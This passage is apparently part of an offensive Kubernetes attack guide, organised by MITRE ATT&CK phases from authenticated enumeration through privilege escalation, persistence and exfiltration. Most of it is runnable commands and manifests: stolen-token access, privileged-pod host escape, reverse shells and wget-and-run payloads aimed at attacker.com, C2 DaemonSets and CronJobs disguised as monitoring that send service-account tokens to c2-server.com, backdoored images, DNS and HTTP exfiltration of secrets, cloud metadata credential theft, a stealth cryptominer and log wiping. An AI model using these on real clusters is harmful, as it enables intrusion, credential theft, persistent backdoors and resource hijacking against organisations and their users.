Configure kubectl from External Machine
# Method 1: Using stolen token
kubectl config set-cluster target-cluster \
--server=https://<api-server>:6443 \
--insecure-skip-tls-verify=true
kubectl config set-credentials stolen-serviceaccount \
--token="$STOLEN_TOKEN"
kubectl config set-context target-context \
--cluster=target-cluster \
--user=stolen-serviceaccount \
--namespace="$NAMESPACE"
kubectl config use-context target-context
# Test access
kubectl auth can-i --list
kubectl get pods
# Method 2: Create kubeconfig file
cat > stolen-kubeconfig.yaml << EOF
apiVersion: v1
kind: Config
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://<api-server>:6443
name: target-cluster
contexts:
- context:
cluster: target-cluster
user: stolen-sa
namespace: $NAMESPACE
name: target-context
current-context: target-context
users:
- name: stolen-sa
user:
token: $STOLEN_TOKEN
EOF
export KUBECONFIG=stolen-kubeconfig.yaml
kubectl get pods
Using curl Instead of kubectl
# If kubectl isn't available, use curl for API calls
API_SERVER="https://<api-server>:6443"
TOKEN="<stolen-token>"
# Get pods
curl -k -H "Authorization: Bearer $TOKEN" \
$API_SERVER/api/v1/namespaces/default/pods | jq '.items[].metadata.name'
# Get secrets
curl -k -H "Authorization: Bearer $TOKEN" \
$API_SERVER/api/v1/namespaces/default/secrets | jq '.items[].metadata.name'
# Create a pod (if permissions allow)
cat > malicious-pod.json << EOF
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "backdoor"},
"spec": {
"containers": [{
"name": "shell",
"image": "ubuntu:latest",
"command": ["/bin/sleep", "3600"]
}]
}
}
EOF
curl -k -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST \
$API_SERVER/api/v1/namespaces/default/pods \
-d @malicious-pod.json
8. Phase 4: Authenticated Enumeration
MITRE ATT&CK Techniques:
- T1087 (Account Discovery)
- T1069 (Permission Groups Discovery)
- T1580 (Cloud Infrastructure Discovery)
- T1518 (Software Discovery)
Systematic enumeration with cluster access.
8.1 Basic Cluster Information
# Cluster overview
kubectl cluster-info
kubectl cluster-info dump | grep -E "(server|version|endpoint)"
# Version information (helps identify CVEs)
kubectl version
kubectl version --short
# Current context and configuration
kubectl config current-context
kubectl config view
kubectl config get-contexts
# Node information
kubectl get nodes
kubectl get nodes -o wide
kubectl describe nodes
kubectl get nodes -o jsonpath='{.items[*].status.nodeInfo.kubeletVersion}'
# Cluster resources summary
kubectl api-resources
kubectl api-versions
8.2 RBAC Discovery (Critical Phase)
Permission Assessment
# What can I do? (Most important command)
kubectl auth can-i --list
kubectl auth can-i --list --all-namespaces
# Critical permission checks for privilege escalation
kubectl auth can-i create pods
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i create clusterrolebindings
kubectl auth can-i create rolebindings --all-namespaces
kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i list secrets --all-namespaces
kubectl auth can-i create serviceaccounts
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts
kubectl auth can-i exec pods
kubectl auth can-i create deployments
kubectl auth can-i patch deployments
kubectl auth can-i delete pods
kubectl auth can-i "*" --all-namespaces
# Check specific resource permissions
kubectl auth can-i create persistentvolumeclaims
kubectl auth can-i create ingress
kubectl auth can-i create networkpolicies
RBAC Object Enumeration
# Service accounts
kubectl get serviceaccounts -A
kubectl get serviceaccounts -A -o wide
# Roles and role bindings (namespace-scoped)
kubectl get roles -A
kubectl get rolebindings -A
kubectl get rolebindings -A -o wide
# Cluster roles and cluster role bindings (cluster-scoped)
kubectl get clusterroles
kubectl get clusterrolebindings
kubectl get clusterrolebindings -o wide
# Find all cluster-admin bindings (highest privilege)
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name=="cluster-admin") | {name: .metadata.name, subjects: .subjects}'
# Find bindings for specific users/groups
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.subjects[]?.kind=="User") | {name: .metadata.name, users: [.subjects[]?.name]}'
# Describe important roles
kubectl describe clusterrole cluster-admin
kubectl describe clusterrole admin
kubectl describe clusterrole edit
kubectl describe clusterrole view
Service Account Analysis
# Current service account
kubectl get serviceaccount
kubectl describe serviceaccount default
# Find service accounts across namespaces
kubectl get sa -A
# Service accounts with secrets
kubectl get sa -A -o json | \
jq '.items[] | select(.secrets) | {namespace: .metadata.namespace, name: .metadata.name, secrets: .secrets}'
# Find pods using specific service accounts
kubectl get pods -A -o json | \
jq '.items[] | {namespace: .metadata.namespace, pod: .metadata.name, sa: .spec.serviceAccountName}'
8.3 Resource Enumeration
Namespaces and Organization
# List all namespaces
kubectl get namespaces
kubectl get ns
# Examine each namespace
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
echo "=== Namespace: $ns ==="
kubectl get all,secrets,configmaps,pvc -n $ns 2>/dev/null | head -20
done
# Default and system namespaces (high-value targets)
kubectl get all -n default
kubectl get all -n kube-system
kubectl get all -n kube-public
kubectl get all -n kube-node-lease
Pod Analysis
# All pods cluster-wide
kubectl get pods -A
kubectl get pods -A -o wide
# Pods with additional details
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.serviceAccountName}{"\t"}{.spec.nodeName}{"\n"}{end}'
# Find privileged pods
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true) | {namespace: .metadata.namespace, pod: .metadata.name}'
# Find pods with host network
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.hostNetwork==true) | {namespace: .metadata.namespace, pod: .metadata.name}'
# Find pods with host path volumes
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.volumes[]?.hostPath) | {namespace: .metadata.namespace, pod: .metadata.name, hostPaths: [.spec.volumes[]?.hostPath?.path]}'
# Find pods running as root
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.containers[]?.securityContext?.runAsUser==0) | {namespace: .metadata.namespace, pod: .metadata.name}'
# Pods with dangerous capabilities
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.containers[]?.securityContext?.capabilities?.add) | {namespace: .metadata.namespace, pod: .metadata.name, caps: .spec.containers[].securityContext.capabilities.add}'
Secrets Enumeration (High-Value Target)
# List secrets in current namespace
kubectl get secrets
kubectl get secrets -o wide
# List secrets cluster-wide (if permissions allow)
kubectl get secrets -A
kubectl get secrets -A -o wide
# Examine secret types
kubectl get secrets -A -o json | \
jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .type}'
# Extract secret data
kubectl get secret <secret-name> -o yaml
kubectl get secret <secret-name> -o jsonpath='{.data}'
# Decode secret values
kubectl get secret <secret-name> -o jsonpath='{.data.<key>}' | base64 -d
# Extract all secret data (careful - very noisy)
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
echo "=== Secrets in namespace: $ns ==="
kubectl get secrets -n $ns -o json | \
jq -r '.items[] | "\(.metadata.name): \(.data | keys[])"' 2>/dev/null
done
# Look for specific types of secrets
kubectl get secrets -A -o json | \
jq '.items[] | select(.type=="kubernetes.io/tls") | {namespace: .metadata.namespace, name: .metadata.name}'
kubectl get secrets -A -o json | \
jq '.items[] | select(.type=="Opaque") | {namespace: .metadata.namespace, name: .metadata.name}'
ConfigMaps (May Contain Sensitive Data)
# List configmaps
kubectl get configmaps -A
# Examine configmap content
kubectl describe configmap <name> -n <namespace>
kubectl get configmap <name> -n <namespace> -o yaml
# Search for potential secrets in configmaps
kubectl get configmaps -A -o json | \
jq '.items[] | select(.data | tostring | test("password|secret|token|key"; "i")) | {namespace: .metadata.namespace, name: .metadata.name}'
Services and Network Exposure
# All services
kubectl get services -A
kubectl get svc -A -o wide
# Find LoadBalancer and NodePort services (external exposure)
kubectl get svc -A -o json | \
jq '.items[] | select(.spec.type=="LoadBalancer" or .spec.type=="NodePort") | {namespace: .metadata.namespace, name: .metadata.name, type: .spec.type}'
# Endpoints (actual pod IPs behind services)
kubectl get endpoints -A
# Ingress rules (HTTP/HTTPS routing)
kubectl get ingress -A
kubectl describe ingress -A
Deployments, StatefulSets, DaemonSets
# Application workloads
kubectl get deployments -A
kubectl get statefulsets -A
kubectl get daemonsets -A
# Examine deployment configurations
kubectl get deployments -A -o json | \
jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, replicas: .spec.replicas, image: .spec.template.spec.containers[].image}'
# Find containers with dangerous configurations
kubectl get deployments -A -o json | \
jq '.items[] | select(.spec.template.spec.containers[]?.securityContext?.privileged==true)'
8.4 Vulnerability Identification
High-Value Targets for Privilege Escalation
# 1. Privileged pods (container escape potential)
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true) | {ns: .metadata.namespace, pod: .metadata.name}'
# 2. Pods with host filesystem access
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath) | {ns: .metadata.namespace, pod: .metadata.name, paths: [.spec.volumes[]?.hostPath?.path]}'
# 3. Service accounts with high privileges
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name | test("admin|cluster-admin")) | {name: .metadata.name, subjects: .subjects}'
# 4. Pods in kube-system namespace (often privileged)
kubectl get pods -n kube-system
# 5. DaemonSets (run on all nodes, often privileged)
kubectl get daemonsets -A
Attack Path Decision Tree
flowchart TD
A[Authenticated Access] --> B{Can create pods?}
B -->|Yes| C[High Privilege Path
Create privileged pod
→ Container escape]
B -->|No| D{Can access secrets?}
D -->|Yes| E[Credential Path
Extract secrets
→ Lateral movement]
D -->|No| F{Can exec into pods?}
F -->|Yes| G[Lateral Path
Exec into pods
→ Token collection]
F -->|No| H{Read-only access?}
H -->|Yes| I[Recon Path
Gather intelligence
→ Wait for opportunity]
H -->|No| J[Dead End
Need to find new vector]9. Phase 5: Privilege Escalation
MITRE ATT&CK Techniques:
- T1611 (Escape to Host)
- T1068 (Exploitation for Privilege Escalation)
- T1548 (Abuse Elevation Control Mechanism)
- T1053.003 (Cron)
Escalating from limited cluster access to administrative control.
9.1 Creating Privileged Pods
Most Common Escalation Vector
# privesc-pod.yaml - Template for privilege escalation
apiVersion: v1
kind: Pod
metadata:
name: privesc-pod
namespace: default
spec:
hostNetwork: true # Access host network
hostPID: true # Access host process namespace
hostIPC: true # Access host IPC namespace
containers:
- name: privesc-container
image: ubuntu:latest
command: ["/bin/bash", "-c", "sleep 3600"]
securityContext:
privileged: true # Full privileges
runAsUser: 0 # Run as root
volumeMounts:
- mountPath: /host-root # Mount host filesystem
name: host-root
- mountPath: /host-var
name: host-var
- mountPath: /host-etc
name: host-etc
volumes:
- name: host-root
hostPath:
path: / # Host root filesystem
type: Directory
- name: host-var
hostPath:
path: /var
type: Directory
- name: host-etc
hostPath:
path: /etc
type: Directory
restartPolicy: Never
Deploy and Exploit
# Create the privileged pod
kubectl apply -f privesc-pod.yaml
# Wait for pod to be ready
kubectl wait --for=condition=Ready pod/privesc-pod --timeout=60s
# Exec into the pod
kubectl exec -it privesc-pod -- /bin/bash
# Inside the pod - you now have host access!
# List host filesystem
ls -la /host-root
# Chroot to host (most direct method)
chroot /host-root /bin/bash
# Alternative: use nsenter to join host namespaces
nsenter -t 1 -m -u -n -i /bin/bash
# Verify host access
hostname # Should show host, not container name
id # Should be root
cat /etc/shadow # Host password file
Less Obvious Privileged Pod (OPSEC)
# monitoring-pod.yaml - Disguised as monitoring
apiVersion: v1
kind: Pod
metadata:
name: node-monitor
namespace: kube-system # Hide in system namespace
labels:
app: monitoring
component: node-exporter
spec:
hostNetwork: true
hostPID: true
containers:
- name: monitor
image: alpine:latest # Small, common image
command: ["/bin/sh", "-c"]
args:
- |
while true; do
sleep 300
# Beacon home periodically
wget -q -O - http://your-server.com/beacon?host=$(hostname) || true
done
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-fs
readOnly: false
volumes:
- name: host-fs
hostPath:
path: /
restartPolicy: Always
9.2 RBAC Abuse and Permission Escalation
Creating Cluster Admin Bindings
# Grant yourself cluster-admin (if you can create clusterrolebindings)
kubectl create clusterrolebinding backdoor-admin \
--clusterrole=cluster-admin \
--serviceaccount=default:my-service-account
# Create cluster-admin for all service accounts in a namespace
kubectl create clusterrolebinding namespace-takeover \
--clusterrole=cluster-admin \
--group=system:serviceaccounts:default
# Create a new service account with admin privileges
kubectl create serviceaccount backdoor-sa -n kube-system
kubectl create clusterrolebinding backdoor-sa-admin \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:backdoor-sa
# Extract the new admin token
SECRET_NAME=$(kubectl get sa backdoor-sa -n kube-system -o jsonpath='{.secrets[0].name}')
kubectl get secret $SECRET_NAME -n kube-system -o jsonpath='{.data.token}' | base64 -d > admin-token.txt
Custom Dangerous Roles
# dangerous-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: pod-exec-anywhere
rules:
- apiGroups: [""]
resources: ["pods", "pods/exec", "pods/log"]
verbs: ["get", "list", "create", "delete"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list"]
- apiGroups: ["apps"]
resources: ["deployments", "daemonsets"]
verbs: ["get", "list", "create", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: pod-exec-binding
subjects:
- kind: ServiceAccount
name: default
namespace: default
roleRef:
kind: ClusterRole
name: pod-exec-anywhere
apiGroup: rbac.authorization.k8s.io
9.3 Container Escape Techniques
Privileged Container Escape
# From inside a privileged container
# Method 1: Direct chroot
ls /host-root
chroot /host-root /bin/bash
# Method 2: Find host devices and mount
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host # Adjust device as needed
chroot /mnt/host /bin/bash
# Method 3: Use nsenter
# Find host init process
ps aux | grep -E "\s1\s"
nsenter -t 1 -m -u -n -i /bin/bash
# Method 4: Exploit via /proc
mount -t proc none /proc
cat /proc/mounts | grep " / "
# Mount the host root filesystem
Docker Socket Abuse
# Check for docker socket mount
ls -la /var/run/docker.sock
# If docker socket is mounted (critical misconfiguration!)
docker ps # See all containers on host
# Escape via new privileged container
docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
# Alternative: mount host filesystem
docker run -it -v /:/host --privileged debian chroot /host bash
Capabilities Abuse
# Check current capabilities
capsh --print
# Common dangerous capabilities:
# CAP_SYS_ADMIN - Can mount filesystems, use unshare()
# CAP_DAC_OVERRIDE - Bypass file read/write/execute permission checks
# CAP_SYS_PTRACE - Trace arbitrary processes
# CAP_SYS_MODULE - Load kernel modules
# Example: CAP_SYS_ADMIN abuse
mkdir /mnt/host
mount -t auto /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
9.4 kubelet API Exploitation
Direct kubelet Access
# If kubelet API is accessible
kubeletctl --server <node-ip> pods
# Execute commands in any pod on the node
kubeletctl --server <node-ip> exec "id" -p <pod-name> -c <container-name>
# Extract tokens from all pods
for pod in $(kubeletctl --server <node-ip> pods | jq -r '.items[].metadata.name'); do
echo "=== Pod: $pod ==="
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo 'No token'" -p $pod
done
# Upload and execute payloads
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/shell.sh
kubeletctl --server <node-ip> exec "wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh" -p <pod>
9.5 etcd Exploitation
Direct etcd Access (Critical)
# If etcd is exposed without authentication (game over)
export ETCDCTL_API=3
etcdctl --endpoints=http://<etcd-ip>:2379 get "" --prefix --keys-only
# Extract all secrets
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets/ --prefix
# Specific secret extraction
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets/default/admin-password
# Extract service account tokens
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/serviceaccounts/ --prefix
# Modify cluster state (dangerous!)
# Create new admin service account
etcdctl --endpoints=http://<etcd-ip>:2379 put /registry/serviceaccounts/default/backdoor-admin '<service-account-json>'
# Extract RBAC configurations
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/clusterrolebindings/ --prefix
9.6 Node Compromise Techniques
Once on the Host
# Add SSH keys for persistence
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Extract kubeconfig files
find /etc/kubernetes -name "*.conf" -type f
cat /etc/kubernetes/admin.conf
# Extract kubelet credentials
cat /var/lib/kubelet/config.yaml
cat /etc/kubernetes/kubelet.conf
# Look for additional certificates
find /etc/kubernetes -name "*.crt" -o -name "*.key"
# Install persistence mechanisms
crontab -e
# Add: */5 * * * * bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
# Modify kubelet configuration for backdoor
# Add --anonymous-auth=true to allow unauthenticated access
vi /var/lib/kubelet/config.yaml
systemctl restart kubelet
Access Other Nodes
# Use kubectl from compromised node to access cluster
export KUBECONFIG=/etc/kubernetes/admin.conf
kubectl get nodes
# Create privileged pods on other nodes
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: backdoor-node2
spec:
nodeName: worker-node-2 # Force scheduling to specific node
hostNetwork: true
hostPID: true
containers:
- name: backdoor
image: ubuntu:latest
command: ["/bin/bash", "-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into the new pod for node access
kubectl exec -it backdoor-node2 -- chroot /host /bin/bash
9.7 Admission Controller Bypass
Evading Pod Security Policies
# If Pod Security Policies are in place, try variations:
# 1. Different namespace (policies may not apply everywhere)
apiVersion: v1
kind: Pod
metadata:
name: bypass-pod
namespace: monitoring # Try different namespaces
spec:
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "sleep 3600"]
securityContext:
allowPrivilegeEscalation: false # Appear compliant
runAsNonRoot: true
runAsUser: 1000
volumeMounts:
- mountPath: /host-proc
name: proc
readOnly: true
volumes:
- name: proc
hostPath:
path: /proc # Still access sensitive host info
Mutation Webhook Evasion
# Try different API versions
kubectl apply -f pod.yaml --dry-run=server # Test without creating
# Use different resource types that might not be covered
kubectl create job escape-job --image=alpine -- /bin/sh -c "sleep 3600"
# CronJob might have different policies
kubectl create cronjob escape-cron --image=alpine --schedule="*/5 * * * *" -- /bin/sh -c "sleep 300"
10. Phase 6: Lateral Movement & Persistence
MITRE ATT&CK Techniques:
- T1570 (Lateral Tool Transfer)
- T1136 (Create Account)
- T1525 (Implant Internal Image)
- T1053.003 (Cron)
Maintaining access and expanding control across the cluster.
10.1 Secrets Exfiltration & Analysis
Mass Secret Extraction
# Extract all secrets cluster-wide
kubectl get secrets -A -o json > all-secrets.json
# Parse and categorize secrets
jq '.items[] | {
namespace: .metadata.namespace,
name: .metadata.name,
type: .type,
keys: (.data | keys)
}' all-secrets.json > secrets-summary.json
# Decode and extract sensitive data
cat > extract-secrets.sh << 'EOF'
#!/bin/bash
for secret in $(kubectl get secrets -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
ns=$(echo $secret | cut -d/ -f1)
name=$(echo $secret | cut -d/ -f2)
echo "=== $ns/$name ==="
kubectl get secret $name -n $ns -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"' 2>/dev/null
done
EOF
bash extract-secrets.sh > decoded-secrets.txt
# Look for specific types
grep -i "password\|token\|key\|secret" decoded-secrets.txt | head -20
Database & Service Credentials
# Extract database connections
kubectl get secrets -A -o json | jq '.items[] | select(.data | keys[] | test("host|database|user|password"; "i"))'
# Extract cloud provider credentials
kubectl get secrets -A -o json | jq '.items[] | select(.data | keys[] | test("aws|gcp|azure|cloud"; "i"))'
# Extract TLS certificates
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/tls")'
# Use extracted credentials
DB_HOST=$(echo "<base64-encoded>" | base64 -d)
DB_USER=$(echo "<base64-encoded>" | base64 -d)
DB_PASS=$(echo "<base64-encoded>" | base64 -d)
# Connect to database from pod
kubectl run mysql-client --image=mysql:5.7 -it --rm --restart=Never -- mysql -h $DB_HOST -u $DB_USER -p$DB_PASS
10.2 Cloud Provider Pivoting
AWS EKS Scenarios
# Extract AWS credentials from secrets or metadata
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..." # If using roles
# Enumerate cloud resources
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws eks describe-cluster --name <cluster-name>
# Look for additional K8s clusters
aws eks list-clusters
# Access S3 buckets
aws s3 sync s3://company-secrets/ /tmp/exfil-data/
# Create backdoor in cloud
aws iam create-access-key --user-name service-user
10.3 Persistent Backdoors
Service Account Backdoors
# Create hidden admin service account
kubectl create namespace monitoring-system
kubectl create serviceaccount node-monitor -n monitoring-system
# Grant cluster-admin privileges
kubectl create clusterrolebinding node-monitor-admin \
--clusterrole=cluster-admin \
--serviceaccount=monitoring-system:node-monitor
# Extract token for external use
SECRET=$(kubectl get sa node-monitor -n monitoring-system -o jsonpath='{.secrets[0].name}')
kubectl get secret $SECRET -n monitoring-system -o jsonpath='{.data.token}' | base64 -d > persistent-admin-token.txt
DaemonSet Backdoors (Runs on Every Node)
# persistent-daemonset.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-security-monitor
namespace: kube-system
labels:
app: security
component: monitor
spec:
selector:
matchLabels:
app: security
template:
metadata:
labels:
app: security
spec:
hostNetwork: true
hostPID: true
containers:
- name: monitor
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Install persistent backdoor
while true; do
# Beacon home every hour
wget -q -T 5 -O /dev/null "http://c2-server.com/beacon?node=$(hostname)&time=$(date +%s)" || true
# Check for commands
CMD=$(wget -q -T 5 -O - "http://c2-server.com/cmd?node=$(hostname)" 2>/dev/null || echo "")
if [ -n "$CMD" ]; then
eval "$CMD" > /tmp/result.txt 2>&1
wget -q -T 5 --post-file=/tmp/result.txt "http://c2-server.com/result?node=$(hostname)" || true
rm -f /tmp/result.txt
fi
sleep 3600
done
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-fs
volumes:
- name: host-fs
hostPath:
path: /
restartPolicy: Always
CronJob Backdoors
# cleanup-cronjob.yaml (disguised as maintenance)
apiVersion: batch/v1
kind: CronJob
metadata:
name: system-cleanup
namespace: kube-system
spec:
schedule: "0 */6 * * *" # Every 6 hours
jobTemplate:
spec:
template:
spec:
containers:
- name: cleanup
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Backdoor logic disguised as cleanup
apk add --no-cache curl
curl -s -X POST http://c2-server.com/checkin \
-d "cluster=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)" \
-d "token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
# Actual cleanup to avoid suspicion
echo "Cleanup completed at $(date)" > /tmp/cleanup.log
restartPolicy: OnFailure
10.4 Image Registry Attacks
Poisoning Container Images
# If you have access to push images to the registry
# Pull legitimate image
docker pull nginx:latest
# Modify and add backdoor
cat > Dockerfile << 'EOF'
FROM nginx:latest
RUN apt-get update && apt-get install -y curl netcat-openbsd
COPY backdoor.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/backdoor.sh
CMD ["/bin/bash", "-c", "/usr/local/bin/backdoor.sh & nginx -g 'daemon off;'"]
EOF
cat > backdoor.sh << 'EOF'
#!/bin/bash
while true; do
bash -i >& /dev/tcp/attacker.com/4444 0>&1
sleep 300
done
EOF
# Build and push backdoored image
docker build -t nginx:latest .
docker tag nginx:latest your-registry.com/nginx:latest
docker push your-registry.com/nginx:latest
Supply Chain Attack via Helm
# malicious-chart/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ include "app.fullname" . }}
spec:
template:
spec:
containers:
- name: app
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
# Hidden backdoor sidecar
- name: sidecar
image: alpine:latest
command: ["/bin/sh", "-c", "while true; do sleep 3600; done"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
11. Phase 7: Post-Exploitation & Objectives
MITRE ATT&CK Techniques:
- T1005 (Data from Local System)
- T1567 (Exfiltration Over Web Service)
- T1496 (Resource Hijacking)
- T1070 (Indicator Removal)
Achieving final objectives and maintaining operational security.
11.1 Data Exfiltration
Kubernetes-Specific Data Targets
# Package cluster secrets and configs
mkdir -p /tmp/k8s-exfil/{secrets,configs,certs}
# Secrets
kubectl get secrets -A -o yaml > /tmp/k8s-exfil/secrets/all-secrets.yaml
# Configurations
cp -r /etc/kubernetes/ /tmp/k8s-exfil/configs/ 2>/dev/null || true
kubectl get configmaps -A -o yaml > /tmp/k8s-exfil/configs/all-configmaps.yaml
# Certificates and keys
find /etc/kubernetes -name "*.crt" -o -name "*.key" | xargs cp -t /tmp/k8s-exfil/certs/ 2>/dev/null || true
# Compress for exfiltration
tar czf /tmp/k8s-data.tar.gz -C /tmp k8s-exfil/
Exfiltration Methods
# HTTP upload
curl -F "file=@/tmp/k8s-data.tar.gz" http://exfil-server.com/upload
# DNS exfiltration (bypasses many firewalls)
base64 /tmp/k8s-data.tar.gz | fold -w 60 | while read line; do
dig $line.data.exfil-domain.com
sleep 1
done
# Cloud storage (using stolen cloud credentials)
# AWS S3
aws s3 cp /tmp/k8s-data.tar.gz s3://exfil-bucket/clusters/$(date +%Y%m%d)/
# Google Cloud Storage
gsutil cp /tmp/k8s-data.tar.gz gs://exfil-bucket/clusters/$(date +%Y%m%d)/
# Split and hide in legitimate traffic
split -b 1M /tmp/k8s-data.tar.gz /tmp/chunk_
for chunk in /tmp/chunk_*; do
curl -H "User-Agent: kubectl/v1.26.0" \
-H "X-Real-Data: $(base64 -w0 $chunk)" \
http://legitimate-looking-api.com/healthz
sleep 60
done
11.2 Cloud Metadata Service Exploitation
Complete Examples for Each Provider
# AWS Instance Metadata Service (IMDS)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
if [ -n "$TOKEN" ]; then
# IMDSv2
CREDS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$CREDS 2>/dev/null
else
# IMDSv1 fallback
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
fi
# Google Cloud Metadata
GCP_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | jq -r '.access_token')
# List GCS buckets
curl -H "Authorization: Bearer $GCP_TOKEN" \
https://www.googleapis.com/storage/v1/b
# Azure Instance Metadata
AZURE_TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r '.access_token')
# List resource groups
curl -H "Authorization: Bearer $AZURE_TOKEN" \
"https://management.azure.com/subscriptions/$(curl -s -H "Metadata:true" http://169.254.169.254/metadata/instance?api-version=2021-02-01 | jq -r '.compute.subscriptionId')/resourceGroups?api-version=2021-04-01"
11.3 Cryptomining Deployment
Stealth Mining Operation
# crypto-miner.yaml (disguised as monitoring)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: gpu-metrics-exporter
namespace: monitoring
labels:
app: monitoring
component: gpu-metrics
spec:
selector:
matchLabels:
app: gpu-metrics
template:
metadata:
labels:
app: gpu-metrics
spec:
hostNetwork: true
containers:
- name: metrics-exporter
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
apk add --no-cache wget
wget -O /tmp/xmrig https://github.com/xmrig/xmrig/releases/download/v6.18.0/xmrig-6.18.0-linux-static-x64.tar.gz
tar -xzf /tmp/xmrig -C /tmp/
# Low intensity to avoid detection
/tmp/xmrig-6.18.0/xmrig \
--url=pool.minexmr.com:4444 \
--user=<wallet-address> \
--pass=x \
--threads=1 \
--max-cpu-usage=20 \
--background \
--log-file=/dev/null
# Keep pod running
while true; do sleep 3600; done
resources:
limits:
cpu: "500m" # Keep CPU usage low
memory: "256Mi"
requests:
cpu: "100m"
memory: "128Mi"
securityContext:
runAsNonRoot: false # Need privileges for mining
11.4 Defense Evasion & OPSEC
Log Manipulation
# Clear container logs (if you have node access)
truncate -s 0 /var/log/pods/*/*/*.log
truncate -s 0 /var/log/containers/*.log
# Clear bash history
history -c && history -w
unset HISTFILE
export HISTSIZE=0
# Timestamp manipulation
touch -r /bin/bash /tmp/malicious-script.sh # Match timestamps
Process Hiding
# Hide processes with innocuous names
cp /bin/bash /tmp/[kworker/0:1]
exec -a "[kworker/0:1]" /bin/bash
# Run commands through system processes
echo 'curl http://c2-server.com/beacon' | at now + 1 minute
Network Evasion
# Use DNS for C2 instead of direct connections
DIG_OUTPUT=$(dig TXT evil-domain.com +short)
COMMAND=$(echo $DIG_OUTPUT | base64 -d)
eval "$COMMAND"
# Proxy through legitimate services
curl -H "X-Custom-Header: $(echo 'id' | base64)" https://legitimate-api.com/endpoint
12. CVE Exploitation Examples
Critical Kubernetes CVEs with working proof-of-concepts.
12.1 CVE-2018-1002105 - Kubernetes API Privilege Escalation
MITRE ATT&CK: T1068 (Exploitation for Privilege Escalation)
Affected Versions:
- Kubernetes v1.0.x-1.9.x
- v1.10.0-1.10.10
- v1.11.0-1.11.4
- v1.12.0-1.12.2
Vulnerability Details:
Allows users to establish connections through the API server to backend servers, bypassing TLS termination and authentication.
Exploitation:
# Check if vulnerable
kubectl version | grep -E "v1\.(10\.[0-9]|11\.[0-4]|12\.[0-2])"
